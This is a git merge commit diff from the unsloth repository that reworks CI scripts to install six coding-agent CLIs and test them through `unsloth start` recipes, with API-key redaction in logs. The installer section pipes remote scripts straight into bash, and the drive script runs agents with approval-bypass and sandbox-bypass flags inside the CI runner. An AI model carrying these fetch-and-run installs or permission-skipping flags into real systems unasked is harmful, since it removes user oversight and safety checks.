ceos/unsloth
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Merge remote-tracking branch 'origin/docker-blackwell-build' into HEAD

Browse source 
# Conflicts:
#	docker/Dockerfile
This commit is contained in:
Daniel Han 2026-07-05 13:59:23 +00:00
commit 67c0a8ec3b
314 changed files with 44012 additions and 5383 deletions
Download patch file Download diff file Expand all files Collapse all files

274
.github/scripts/agent-guides-drive.sh vendored
View file

@ -6,12 +6,12 @@
# Local Agent Guides CI. All failures from here are failure class (c)
# "guide drift": the server preflight already passed and the agent CLI
# already installed, so a failure here means the documented recipe in
# unsloth_cli/commands/connect.py no longer produces a working flow.
# unsloth_cli/commands/start.py no longer produces a working flow.
#
# Self-updating: for the 5 agents with a connect.py recipe we obtain the
# exact env + command from `unsloth connect <agent> --no-launch` and run
# THAT, so a recipe change is exercised automatically. Pi (no connect.py
# command at HEAD) is driven by a hand-written recipe.
# Self-updating: for all six agents (claude, codex, hermes, openclaw,
# opencode, pi) we obtain the exact env + command from
# `unsloth start <agent> --no-launch` and run THAT, so a recipe change is
# exercised automatically.
#
# Every agent invocation is wrapped in `timeout` so a headless-TTY prompt
# can never hang the runner -- a timeout is reported as guide drift with a
@ -53,14 +53,14 @@ REDACTED_DIR="$REPO_ROOT/redacted-configs"
WORKDIR_BASE="$REPO_ROOT/agent-workdir"
CACHE_HELPER="$SCRIPT_DIR/assert-prompt-cache.sh"
mkdir -p "$LOGS_DIR" "$REDACTED_DIR"
CONNECT_REF="unsloth_cli/commands/connect.py"
CONNECT_REF="unsloth_cli/commands/start.py"
# Prefill-shrinking flags for Claude Code. The heavyweight agents send
# multi-thousand-token system prompts + full tool schemas, which on a CPU-only
# runner is minutes of prefill per model round-trip (~16 tok/s for a 4B model).
# Replacing the ~5.7k default system prompt with a tiny one (--system-prompt-file)
# and restricting tools cuts the prefill to a few hundred tokens so it completes
# quickly on CPU. These only shape the request size; the connect.py recipe
# quickly on CPU. These only shape the request size; the start.py recipe
# (endpoint, auth, model) is still exercised end to end.
#
# The bulk of Claude Code's prompt is the built-in tool JSON schemas: measured
@ -105,6 +105,13 @@ redact() {
done
}
# Print a file to the log with the key scrubbed, without mutating it (the raw file is
# still needed to parse the real env). Use this instead of `cat` for any transcript that
# carries an `export UNSLOTH_API_KEY=...` line, so a live key never reaches Actions logs.
cat_redacted() {
sed "s#${UNSLOTH_API_KEY}#<REDACTED>#g" "$1"
}
# A reply must be non-empty and free of connection/auth errors.
assert_reply() {
local out="$1"
@ -131,45 +138,29 @@ run_timed() { # $1=outfile, rest=command
return "$rc"
}
# ── Pi: no connect.py command at HEAD -> hand-written recipe ──────────────
write_pi_config() {
if unsloth connect pi --help >/dev/null 2>&1; then
# Tripwire: once a real recipe exists, the hand-written config would mask any
# drift in it, defeating the point of this CI. Fail hard so the cell is
# migrated to the self-updating `unsloth connect pi --no-launch` path.
guide_fail "connect.py now ships a 'pi' command -- migrate this CI cell to the 'unsloth connect pi --no-launch' path so the documented recipe is exercised (the hand-written Pi config no longer reflects it)"
fi
mkdir -p "$HOME/.pi/agent"
python3 - "$UNSLOTH_BASE_URL" "$UNSLOTH_API_KEY" "$UNSLOTH_MODEL_ID" <<'PY'
import json, os, sys
base, key, model = sys.argv[1], sys.argv[2], sys.argv[3]
cfg = {"providers": {"unsloth": {
"api": "openai-completions",
"baseUrl": f"{base}/v1",
"apiKey": key,
"models": [{"id": model}],
}}}
path = os.path.expanduser("~/.pi/agent/models.json")
with open(path, "w") as fh:
json.dump(cfg, fh, indent=2)
PY
cp "$HOME/.pi/agent/models.json" "$REDACTED_DIR/pi-models.json" 2>/dev/null || true
redact "$REDACTED_DIR/pi-models.json"
# Read a value from an `export VAR=...` line in the connect --no-launch output.
# `unsloth start` writes each agent's session config off the user's ~ and points
# at it through a relocation env var (CODEX_HOME / OPENCODE_CONFIG /
# OPENCLAW_CONFIG_PATH), so the contract checks read the path from here.
raw_env() { # $1 = var name -> value (one shlex-quote layer stripped)
local raw="$LOGS_DIR/connect-${AGENT}.txt"
local v; v="$(sed -n "s/^export $1=//p" "$raw" | tail -1)"
v="${v#\'}"; v="${v%\'}"; printf '%s' "$v"
}
# ── 5-agent connect.py path: parse env + command from --no-launch ─────────
# ── 5-agent start.py path: parse env + command from --no-launch ─────────
# Populates globals CONNECT_ENV (export/unset lines) and CONNECT_CMD (the
# launch command on the last printed line), and runs connect.py's config
# writers as a side effect (it writes ~/.codex, ~/.claude, etc.).
# launch command on the last printed line), and runs start.py's config
# writers as a side effect (it writes each agent's relocated session config).
parse_connect() {
local raw="$LOGS_DIR/connect-${AGENT}.txt"
if ! unsloth connect "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
cat "$raw"
guide_fail "'unsloth connect ${AGENT} --no-launch' exited non-zero"
if ! unsloth start "$AGENT" --no-launch --api-key "$UNSLOTH_API_KEY" > "$raw" 2>&1; then
cat_redacted "$raw"
guide_fail "'unsloth start ${AGENT} --no-launch' exited non-zero"
fi
echo "[$AGENT] connect --no-launch printed:"; cat "$raw"
echo "[$AGENT] connect --no-launch printed:"; cat_redacted "$raw"
CONNECT_ENV="$(grep -E '^(export |unset )' "$raw" || true)"
# The launch command is the last non-export, non-status line. connect.py
# The launch command is the last non-export, non-status line. start.py
# prints "Studio <url> · model <id>" and "Updated ..." status lines first.
CONNECT_CMD="$(grep -vE '^(export |unset |Studio |Updated |Disabled |Warning|Loading)' "$raw" \
| grep -E '[^[:space:]]' | tail -1)"
@ -177,45 +168,63 @@ parse_connect() {
redact "$raw"
}
# Cross-check the documented contract knobs so silent connect.py changes
# Cross-check the documented contract knobs so silent start.py changes
# (env-var rename, wire_api flip, attribution setting drop) also fail/flag.
crosscheck_contract() {
local raw="$LOGS_DIR/connect-${AGENT}.txt"
local cfg home
case "$AGENT" in
codex)
grep -q 'UNSLOTH_STUDIO_AUTH_TOKEN' "$raw" \
|| guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (connect.py _CODEX_ENV_KEY)"
if [ -f "$HOME/.codex/config.toml" ]; then
grep -q 'wire_api = "responses"' "$HOME/.codex/config.toml" \
|| guide_fail "Codex wire_api is no longer \"responses\" in ~/.codex/config.toml"
cp "$HOME/.codex/config.toml" "$REDACTED_DIR/codex-config.toml"
|| guide_fail "Codex env key is no longer UNSLOTH_STUDIO_AUTH_TOKEN (start.py _CODEX_ENV_KEY)"
home="$(raw_env CODEX_HOME)"
# An empty relocation var would make cfg "/config.toml" and silently
# skip the [ -f ] contract check below; fail loudly instead.
[ -n "$home" ] || guide_fail "CODEX_HOME missing from connect output (start.py codex())"
cfg="$home/config.toml"
if [ -f "$cfg" ]; then
grep -q 'wire_api = "responses"' "$cfg" \
|| guide_fail "Codex wire_api is no longer \"responses\" in \$CODEX_HOME/config.toml"
cp "$cfg" "$REDACTED_DIR/codex-config.toml"
fi
grep -q 'codex --oss --profile unsloth_api' "$raw" \
|| echo "::warning::Codex launch command changed from 'codex --oss --profile unsloth_api'"
;;
claude)
grep -q 'ANTHROPIC_AUTH_TOKEN' "$raw" \
|| guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (connect.py claude())"
if [ -f "$HOME/.claude/settings.json" ]; then
grep -q '"CLAUDE_CODE_ATTRIBUTION_HEADER"' "$HOME/.claude/settings.json" \
|| echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER not written to ~/.claude/settings.json (ensure_claude_attribution_header)"
cp "$HOME/.claude/settings.json" "$REDACTED_DIR/claude-settings.json"
fi
|| guide_fail "Claude no longer exports ANTHROPIC_AUTH_TOKEN (start.py claude())"
grep -q 'CLAUDE_CODE_ATTRIBUTION_HEADER' "$raw" \
|| echo "::warning::CLAUDE_CODE_ATTRIBUTION_HEADER no longer set for the session (start.py claude())"
;;
hermes)
grep -q 'UNSLOTH_API_KEY' "$raw" \
|| guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (connect.py _HERMES_ENV_KEY)"
[ -f "$HOME/.hermes/config.yaml" ] && cp "$HOME/.hermes/config.yaml" "$REDACTED_DIR/hermes-config.yaml"
|| guide_fail "Hermes env key is no longer UNSLOTH_API_KEY (start.py _HERMES_ENV_KEY)"
home="$(raw_env HERMES_HOME)"
[ -n "$home" ] || guide_fail "HERMES_HOME missing from connect output (start.py hermes())"
cfg="$home/config.yaml"
[ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/hermes-config.yaml"
;;
openclaw)
if [ -f "$HOME/.openclaw/openclaw.json" ]; then
grep -q '"openai-completions"' "$HOME/.openclaw/openclaw.json" \
cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
if [ -n "$cfg" ] && [ -f "$cfg" ]; then
grep -q '"openai-completions"' "$cfg" \
|| echo "::warning::OpenClaw provider api is no longer 'openai-completions' (write_openclaw_config)"
cp "$HOME/.openclaw/openclaw.json" "$REDACTED_DIR/openclaw.json"
cp "$cfg" "$REDACTED_DIR/openclaw.json"
fi
;;
opencode)
[ -f "$HOME/.config/opencode/opencode.json" ] && cp "$HOME/.config/opencode/opencode.json" "$REDACTED_DIR/opencode.json"
cfg="$(raw_env OPENCODE_CONFIG)"
[ -n "$cfg" ] && [ -f "$cfg" ] && cp "$cfg" "$REDACTED_DIR/opencode.json"
;;
pi)
# Pi has no config-dir env var; the session is HOME-relocated, and the
# provider config lives at $HOME/.pi/agent/models.json.
cfg="$(raw_env HOME)/.pi/agent/models.json"
if [ -f "$cfg" ]; then
grep -q '"openai-completions"' "$cfg" \
|| echo "::warning::Pi provider api is no longer 'openai-completions' (write_pi_config)"
cp "$cfg" "$REDACTED_DIR/pi-models.json"
fi
;;
esac
redact "$REDACTED_DIR"/* 2>/dev/null || true
@ -229,16 +238,23 @@ crosscheck_contract() {
# Hermes: an explicit empty cli toolset disables all tools (and drops the
# tool-gated guidance blocks), so -z sends ~300 tokens instead of thousands.
# hermes ships a DEFAULT config.yaml that already has a populated
# platform_toolsets, and `unsloth connect` merges into it, so we must override
# cli (not just append). That needs a YAML parser, and the runner's bare
# python3 has no PyYAML -- but the venv that ships `unsloth` does (connect.py
# imports yaml), so run the patch with that interpreter.
# Hermes enables its default cli toolset when the session config does not pin one,
# so we must set platform_toolsets.cli explicitly to [] (not just append) to get
# zero tools. That needs a YAML parser, and the runner's bare python3 has no
# PyYAML -- but the venv that ships `unsloth` does (start.py imports yaml), so run
# the patch with that interpreter. We patch the relocated $HERMES_HOME/config.yaml
# that `unsloth start` printed, not the user's ~/.hermes.
# (-z reads platform_toolsets.cli; --ignore-rules is a no-op under -z.)
patch_hermes_tools() { # $1 = none|default
# Check the raw var BEFORE appending /config.yaml: the joined path is never
# empty, so the old guard could not fire and the patcher would die on
# "/config.yaml" with a bare traceback instead of this clear failure.
local home; home="$(raw_env HERMES_HOME)"
[ -n "$home" ] || guide_fail "Hermes HERMES_HOME missing from connect output (start.py hermes())"
local cfg; cfg="$home/config.yaml"
# Find a python that can import yaml. The runner's bare python3 cannot, but the
# interpreter in the `unsloth` console-script shebang provably can (it runs
# connect.py's write_hermes_config, which imports yaml). Try that first, then
# start.py's write_hermes_config, which imports yaml). Try that first, then
# any python on PATH, then the venv sibling, picking the first with PyYAML.
local cand py="" shebang
shebang="$(head -1 "$(command -v unsloth)" 2>/dev/null | sed -n 's/^#![[:space:]]*//p' | awk '{print $1}')"
@ -247,13 +263,13 @@ patch_hermes_tools() { # $1 = none|default
{ [ -x "$cand" ] || command -v "$cand" >/dev/null 2>&1; } || continue
if "$cand" -c 'import yaml' 2>/dev/null; then py="$cand"; break; fi
done
[ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch ~/.hermes/config.yaml"
echo "[hermes] patching config with $py"
"$py" - "$1" <<'PY'
[ -n "$py" ] || guide_fail "could not find a python with PyYAML to patch the hermes session config"
echo "[hermes] patching $cfg with $py"
"$py" - "$1" "$cfg" <<'PY'
import os, sys
import yaml
mode = sys.argv[1]
p = os.path.expanduser("~/.hermes/config.yaml")
p = sys.argv[2]
cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {}
ts = cfg.get("platform_toolsets")
if not isinstance(ts, dict):
@ -274,10 +290,14 @@ PY
# drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for
# both modes. --agent must reference a defined agent, so write it before invoking.
patch_openclaw_agent() { # $1 = notools|tools
python3 - "$1" <<'PY'
# OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that
# `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw).
local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)"
[ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())"
python3 - "$1" "$cfg" <<'PY'
import os, sys, json
mode = sys.argv[1]
p = os.path.expanduser("~/.openclaw/openclaw.json")
p = sys.argv[2]
cfg = json.load(open(p)) if os.path.exists(p) else {}
agents = cfg.setdefault("agents", {})
agents.setdefault("defaults", {})["skipBootstrap"] = True
@ -293,20 +313,24 @@ print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}")
PY
}
# Build an invoke script that applies connect.py's env then runs the launch
# Build an invoke script that applies start.py's env then runs the launch
# command (with extra args appended) under bash. We do NOT eval connect's env
# into this shell; we write it into a one-shot script so the export/unset
# semantics are exactly what connect.py printed. The script path is absolute
# semantics are exactly what start.py printed. The script path is absolute
# so it is valid even when the caller has cd'd into a scratch work dir.
invoke_via_connect() { # $1=outfile, rest=extra args appended to the command
local out="$1"; shift
local script="$LOGS_DIR/invoke-${AGENT}.sh"
local real; real="$(mktemp)"
# CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a
# session knob without editing the user's config; empty -> use what start.py emitted.
local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}"
{
echo "set -uo pipefail"
echo "$CONNECT_ENV"
[ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA"
# Append extra args (the prompt / flags) to the launch command verbatim.
printf '%s' "$CONNECT_CMD"
printf '%s' "$cmd"
local a
for a in "$@"; do printf ' %q' "$a"; done
printf '\n'
@ -318,7 +342,9 @@ invoke_via_connect() { # $1=outfile, rest=extra args appended to the command
# Writing the redacted copy up front keeps the key out of the artifact even if
# the run times out (run_timed exits before returning here).
cp "$real" "$script"; redact "$script"
echo "[$AGENT] invoking (timeout ${TIMEOUT}s): $CONNECT_CMD $*"
# The connect one-liner now carries the key as an inline env assignment; scrub it on
# the way to the log (the executed $real keeps the live value).
echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/<REDACTED>} $*"
run_timed "$out" bash "$real"
local rc=$?
rm -f "$real"
@ -332,27 +358,23 @@ case "$MODE" in
connection)
PROMPT='Reply with exactly the single word: pong'
OUT="$LOGS_DIR/${AGENT}-connection.txt"
if [ "$AGENT" = "pi" ]; then
write_pi_config
run_timed "$OUT" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$PROMPT"
else
parse_connect
crosscheck_contract
# claude/codex run in print mode via the flags connect.py emits
# (claude -p / codex exec). For agents whose default subcommand prints
# to stdout we pass the prompt through ctx.args.
case "$AGENT" in
claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
hermes) patch_hermes_tools none
invoke_via_connect "$OUT" -z "$PROMPT" ;;
openclaw) patch_openclaw_agent notools
invoke_via_connect "$OUT" agent --local --agent ci \
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
*) invoke_via_connect "$OUT" "$PROMPT" ;;
esac
fi
parse_connect
crosscheck_contract
# claude/codex run in print mode via the flags start.py emits
# (claude -p / codex exec). For agents whose default subcommand prints
# to stdout we pass the prompt through ctx.args.
case "$AGENT" in
claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;;
codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;;
opencode) invoke_via_connect "$OUT" run "$PROMPT" ;;
pi) invoke_via_connect "$OUT" -p "$PROMPT" ;;
hermes) patch_hermes_tools none
invoke_via_connect "$OUT" -z "$PROMPT" ;;
openclaw) patch_openclaw_agent notools
invoke_via_connect "$OUT" agent --local --agent ci \
--model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;;
*) invoke_via_connect "$OUT" "$PROMPT" ;;
esac
# A non-zero exit from the documented launch command is drift even if it
# printed something: a benign-looking "command not found" / usage dump would
# otherwise slip past assert_reply (which only flags empty/error-keyword text).
@ -371,22 +393,18 @@ case "$MODE" in
T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.'
T2='Run hello.py with python and show me the exact output.'
# The connect.py recipe writers + crosscheck must see the repo; run them
# The start.py recipe writers + crosscheck must see the repo; run them
# from the repo root BEFORE cd-ing into the scratch work dir.
if [ "$AGENT" != "pi" ]; then
parse_connect
crosscheck_contract
# File-edit needs real tools, so we cannot zero them as in connection.
# hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
# bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
# dir is empty, so no project context files are auto-loaded either.
case "$AGENT" in
hermes) patch_hermes_tools default ;;
openclaw) patch_openclaw_agent tools ;;
esac
else
write_pi_config
fi
parse_connect
crosscheck_contract
# File-edit needs real tools, so we cannot zero them as in connection.
# hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md
# bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work
# dir is empty, so no project context files are auto-loaded either.
case "$AGENT" in
hermes) patch_hermes_tools default ;;
openclaw) patch_openclaw_agent tools ;;
esac
# Drive from inside the work dir so the agent edits files there. All log
# writes use absolute $LOGS_DIR, so cwd does not matter for them.
@ -395,7 +413,14 @@ case "$MODE" in
invoke_turn() { # $1=outfile $2=continue? $3=prompt
local out="$1" cont="$2" prompt="$3"
case "$AGENT" in
pi) run_timed "$out" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$prompt" ;;
pi)
# Pi continues the previous session with -c; provider/model come from
# the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here.
if [ "$cont" = "continue" ]; then
invoke_via_connect "$out" -p --continue "$prompt"
else
invoke_via_connect "$out" -p "$prompt"
fi ;;
claude)
# --dangerously-skip-permissions lets headless claude actually use the
# Write/Bash tools (otherwise it blocks on an approval prompt and emits
@ -466,33 +491,32 @@ case "$MODE" in
# right before the measured turn, so an earlier turn's reuse can't leak in.
LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}"
export LLAMA_LOG_DIR
parse_connect # writes ~/.claude/settings.json (header=0) + env
parse_connect # prints session env + suppression flags (no ~/.claude write)
crosscheck_contract
PROMPT='Reply with exactly the single word: pong'
# Phase A: header DISABLED (=0, the documented setting) -> expect a HIT on
# the continued turn. connect.py's ensure_claude_attribution_header() set 0.
# Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 +
# --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a
# HIT on the continued turn, since the system-prompt prefix is stable.
invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT" # turn 1 primes
FROM_HIT="$(bash "$CACHE_HELPER" mark)" # offset before turn 2
invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again"
CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT
# Phase B: header ENABLED -> expect a MISS. The header prepends a
# per-request-changing attribution line to the system prompt, so the shared
# prefix changes every turn and the KV cache is invalidated (~90% slower);
# this is exactly what the guide flag prevents.
python3 - <<'PY'
import json, os
p = os.path.expanduser("~/.claude/settings.json")
s = json.load(open(p)) if os.path.exists(p) else {}
s.setdefault("env", {})["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "1"
json.dump(s, open(p, "w"), indent=2)
PY
# Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip
# the env var to 1 and strip the suppression flags from the launch command
# (without them the dynamic attribution line is included and changes every
# turn, so the shared prefix moves and the KV cache is invalidated, ~90%
# slower). This is session-only: nothing is written to ~/.claude.
CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1'
CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \
| sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")"
invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT"
FROM_MISS="$(bash "$CACHE_HELPER" mark)"
invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again"
CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS
echo "[claude] attribution A/B OK (header=0 HIT, header=1 MISS)"
unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE
echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)"
;;
*)

33
.github/scripts/agent-guides-install.sh vendored
View file

@ -7,7 +7,7 @@
# is the single biggest source of false reds, so installs retry with
# backoff and the only ::error:: this script can emit is class (b). The
# install recipes mirror the install_hint strings in
# unsloth_cli/commands/connect.py at HEAD.
# unsloth_cli/commands/start.py at HEAD.
#
# Usage: agent-guides-install.sh <agent>
# agent in: claude codex hermes openclaw opencode pi
@ -25,13 +25,14 @@ install_fail() {
}
# npm registry flakiness is common in CI; retry 3x with linear backoff.
# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg).
npm_retry() {
local pkg="$1" i
local i
for i in 1 2 3; do
if npm install -g "$pkg" >> "$LOG" 2>&1; then
if npm install -g "$@" >> "$LOG" 2>&1; then
return 0
fi
echo "[install] npm install -g $pkg attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG"
sleep "$((i * 10))"
done
return 1
@ -60,30 +61,30 @@ curl_bash() {
echo "[install] agent=$AGENT (log=$LOG)"
case "$AGENT" in
claude)
# connect.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
# start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash
curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed"
# The installer drops the binary under ~/.local/bin.
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
;;
codex)
# connect.py install_hint: npm install -g @openai/codex
# start.py install_hint: npm install -g @openai/codex
npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed"
;;
opencode)
# connect.py install_hint: npm install -g opencode-ai
# start.py install_hint: npm install -g opencode-ai
npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed"
;;
openclaw)
# connect.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
# start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash
# npm is the more deterministic path in CI and matches the agent's docs;
# fall back to the connect.py curl installer if the npm tag is missing.
# fall back to the start.py curl installer if the npm tag is missing.
if ! npm_retry "openclaw@latest"; then
curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)"
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
fi
;;
hermes)
# connect.py install_hint:
# start.py install_hint:
# curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash
curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \
--non-interactive --skip-setup --skip-browser --no-skills \
@ -91,11 +92,13 @@ case "$AGENT" in
echo "$HOME/.local/bin" >> "$GITHUB_PATH"
;;
pi)
# No connect.py recipe; the agent's documented package name. The CLI moved
# from the now-deprecated @mariozechner scope to @earendil-works (the old
# scope is frozen, so installing it would test a stale Pi against the API).
npm_retry "@earendil-works/pi-coding-agent" \
|| install_fail "npm install -g @earendil-works/pi-coding-agent failed"
# start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent
# (--ignore-scripts matches Pi's documented recipe; exercising the exact hint
# catches guide drift). The CLI moved from the now-deprecated @mariozechner
# scope to @earendil-works (the old scope is frozen, so installing it would
# test a stale Pi against the API).
npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \
|| install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed"
;;
*)
install_fail "unknown agent '$AGENT'"

2
.github/scripts/serve-unsloth-run.sh vendored
View file

@ -27,7 +27,7 @@
#
# Outputs written to $GITHUB_ENV (and echoed):
# UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner
# UNSLOTH_STUDIO_URL http://127.0.0.1:<PORT> (so `unsloth connect`
# UNSLOTH_STUDIO_URL http://127.0.0.1:<PORT> (so `unsloth start`
# finds THIS server, not the hardcoded :8888)
# UNSLOTH_BASE_URL same as UNSLOTH_STUDIO_URL (alias for clarity)
# UNSLOTH_MODEL_ID the canonical id reported by /v1/models

12
.github/workflows/consolidated-tests-ci.yml vendored
View file

@ -209,7 +209,7 @@ jobs:
'peft>=0.18,<0.20' 'accelerate>=0.34,<2' \
ipython
# torchvision: unsloth_zoo.vision_utils imports it at module scope.
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26'
# transformers + trl from the matrix combo.
pip install "$RESOLVED_TRANSFORMERS_SPEC"
@ -268,6 +268,10 @@ jobs:
tests/saving/test_save_shell_injection.py \
tests/saving/test_patch_saving_none_tokenizer.py \
tests/saving/test_fix_sentencepiece_gguf_robustness.py \
tests/saving/test_compressed_export_schemes.py \
tests/saving/test_export_api_surface.py \
tests/saving/test_export_dispatch.py \
tests/saving/test_imatrix_export.py \
tests/utils/test_attention_masks.py \
tests/utils/test_trunc_normal_patch.py \
tests/python/test_fast_language_model_text_only.py
@ -353,6 +357,10 @@ jobs:
tests/saving/test_save_shell_injection.py \
tests/saving/test_patch_saving_none_tokenizer.py \
tests/saving/test_fix_sentencepiece_gguf_robustness.py \
tests/saving/test_compressed_export_schemes.py \
tests/saving/test_export_api_surface.py \
tests/saving/test_export_dispatch.py \
tests/saving/test_imatrix_export.py \
tests/utils/test_attention_masks.py \
tests/utils/test_trunc_normal_patch.py \
tests/python/test_fast_language_model_text_only.py \
@ -2166,7 +2174,7 @@ jobs:
python -m pip install --upgrade pip
# Match the matrix job's torch path so unsloth_zoo's
# `import torch` resolves to the same CPU build.
pip install --index-url https://download.pytorch.org/whl/cpu \
pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \
'torch>=2.4,<2.11' 'torchvision<0.26'
pip install \
'numpy<3' protobuf sentencepiece \

50
.github/workflows/local-agent-guides-ci.yml vendored
View file

@ -6,29 +6,27 @@
# Detects when our local-agent setup recipes drift out of sync with
# `unsloth run`. Boots a real `unsloth run --disable-tools` server and
# drives the coding agents end to end through the *exact* recipes defined
# in unsloth_cli/commands/connect.py (the in-repo source of truth -- there
# is no docs/ tree). Wherever connect.py has a recipe we drive the agent
# via `unsloth connect <agent> --no-launch` and execute what it prints, so
# the test self-updates against connect.py and catches silent recipe drift.
# in unsloth_cli/commands/start.py (the in-repo source of truth -- there
# is no docs/ tree). Wherever start.py has a recipe we drive the agent
# via `unsloth start <agent> --no-launch` and execute what it prints, so
# the test self-updates against start.py and catches silent recipe drift.
#
# Source-of-truth files this workflow guards:
# unsloth_cli/commands/connect.py the `unsloth connect <agent>` recipes
# unsloth_cli/commands/start.py the `unsloth start <agent>` recipes
# unsloth_cli/commands/studio.py the `unsloth run` banner (API Key line)
#
# Failure taxonomy (each surfaced with a distinct ::error:: + the agent name
# + the connect.py location, so a red X is immediately triageable):
# + the start.py location, so a red X is immediately triageable):
# (a) Unsloth server/API regression -- the dialect HTTP preflight fails
# BEFORE the agent runs (or the server never becomes healthy).
# (b) Agent package install failed -- npm/curl install of the CLI failed.
# (c) Guide drift -- preflight passed + install ok, but
# the documented `unsloth connect` flow produced no/garbled output.
# the documented `unsloth start` flow produced no/garbled output.
#
# Agents covered (6): claude, codex, hermes, openclaw, opencode, pi.
# - claude/codex/hermes/openclaw/opencode have a connect.py recipe.
# - pi has NO `unsloth connect pi` command in connect.py at HEAD; it is
# driven by a hand-written recipe and the matrix cell asserts that the
# missing connect recipe is the (known) reason, so the day connect.py
# grows a `pi` command this cell flips to the self-updating path.
# - All six have a `unsloth start <agent>` recipe, so each cell obtains its
# env + command from `unsloth start <agent> --no-launch` and runs THAT
# (self-updating: a recipe change is exercised automatically).
name: Local Agent Guides CI
@ -83,7 +81,7 @@ jobs:
# ═════════════════════════════════════════════════════════════════════
# Job 1: connection
# Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect,
# install the agent, run `unsloth connect <agent> --no-launch`, execute
# install the agent, run `unsloth start <agent> --no-launch`, execute
# the emitted recipe with a trivial prompt, assert a non-empty reply.
# Runs on PR + weekly + dispatch. Each matrix cell is its own runner so
# it serves exactly one model on its own port.
@ -103,7 +101,9 @@ jobs:
env:
# gemma-4-E4B (128K context, capable enough to drive every agent for a
# trivial reply; the 270m model produced empty/failed responses for
# codex/openclaw and is below hermes' 64K context floor). Served as a flat
# codex/openclaw). Hermes' 64K context floor no longer constrains the model
# choice: write_hermes_config claims the floor for smaller windows and
# scales compaction back to the real window. Served as a flat
# GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B).
GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF
